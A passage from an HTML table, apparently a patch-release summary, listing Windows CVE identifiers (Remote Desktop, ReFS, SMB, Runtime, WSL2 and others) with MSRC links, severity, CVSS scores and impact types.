 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58546"><span>CVE-2026-58546</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58539"><span>CVE-2026-58539</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55003"><span>CVE-2026-55003</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57979"><span>CVE-2026-57979</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50445"><span>CVE-2026-50445</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50497"><span>CVE-2026-50497</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54126"><span>CVE-2026-54126</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57982"><span>CVE-2026-57982</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50369"><span>CVE-2026-50369</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58626"><span>CVE-2026-58626</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Services Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55014"><span>CVE-2026-55014</span></a></td>
  <td width="256" class="xl74">Windows Remote Help
  Defense Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50318"><span>CVE-2026-50318</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50407"><span>CVE-2026-50407</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50357"><span>CVE-2026-50357</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50441"><span>CVE-2026-50441</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50668"><span>CVE-2026-50668</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54109"><span>CVE-2026-54109</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49792"><span>CVE-2026-49792</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49793"><span>CVE-2026-49793</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50362"><span>CVE-2026-50362</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50492"><span>CVE-2026-50492</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50501"><span>CVE-2026-50501</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58530"><span>CVE-2026-58530</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49791"><span>CVE-2026-49791</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50451"><span>CVE-2026-50451</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57096"><span>CVE-2026-57096</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50323"><span>CVE-2026-50323</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50452"><span>CVE-2026-50452</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50348"><span>CVE-2026-50348</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50345"><span>CVE-2026-50345</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50322"><span>CVE-2026-50322</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50340"><span>CVE-2026-50340</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50410"><span>CVE-2026-50410</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50449"><span>CVE-2026-50449</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50460"><span>CVE-2026-50460</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50403"><span>CVE-2026-50403</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50385"><span>CVE-2026-50385</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50413"><span>CVE-2026-50413</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50457"><span>CVE-2026-50457</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50486"><span>CVE-2026-50486</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50503"><span>CVE-2026-50503</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54125"><span>CVE-2026-54125</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58527"><span>CVE-2026-58527</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50373"><span>CVE-2026-50373</span></a></td>
  <td width="256" class="xl74">Windows Search Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50679"><span>CVE-2026-50679</span></a></td>
  <td width="256" class="xl74">Windows Search Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44806"><span>CVE-2026-44806</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50681"><span>CVE-2026-50681</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56186"><span>CVE-2026-56186</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50367"><span>CVE-2026-50367</span></a></td>
  <td width="256" class="xl74">Windows Sensor Data
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58619"><span>CVE-2026-58619</span></a></td>
  <td width="256" class="xl74">Windows Sensor Data
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50311"><span>CVE-2026-50311</span></a></td>
  <td width="256" class="xl74">Windows Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50328"><span>CVE-2026-50328</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58531"><span>CVE-2026-58531</span></a></td>
  <td width="256" class="xl74">Windows SMB Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54997"><span>CVE-2026-54997</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49801"><span>CVE-2026-49801</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50690"><span>CVE-2026-50690</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56168"><span>CVE-2026-56168</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50360"><span>CVE-2026-50360</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57089"><span>CVE-2026-57089</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50333"><span>CVE-2026-50333</span></a></td>
  <td width="256" class="xl74">Windows Spaceport.sys
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50298"><span>CVE-2026-50298</span></a></td>
  <td width="256" class="xl74">Windows Spaceport.sys
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49171"><span>CVE-2026-49171</span></a></td>
  <td width="256" class="xl74">Windows Speech Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49170"><span>CVE-2026-49170</span></a></td>
  <td width="256" class="xl74">Windows
  StateRepository API Server file Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58526"><span>CVE-2026-58526</span></a></td>
  <td width="256" class="xl74">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50299"><span>CVE-2026-50299</span></a></td>
  <td width="256" class="xl74">Windows Storage Spaces
  Direct Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57968"><span>CVE-2026-57968</span></a></td>
  <td width="256" class="xl74">Windows Subsystem for
  Linux (WSL2) Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57973"><span>CVE-2026-57973</span></a></td>
  <td width="256" class="xl74">Windows Subsystem for
  Linux (WSL2) Kernel Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50418"><span>CVE-2026-50418</span></a></td>
  <td width="256" class="xl74">Windows System Secure
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50306"><span>CVE-2026-50306</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50307"><span>CVE-2026-50307</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49177"><span>CVE-2026-49177</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50669"><span>CVE-2026-50669</span></a></td>
  <td width="256" class="xl74">Windows Telephony
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54124"><span>CVE-2026-54124</span></a></td>
  <td width="256" class="xl74">Windows Terminal
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
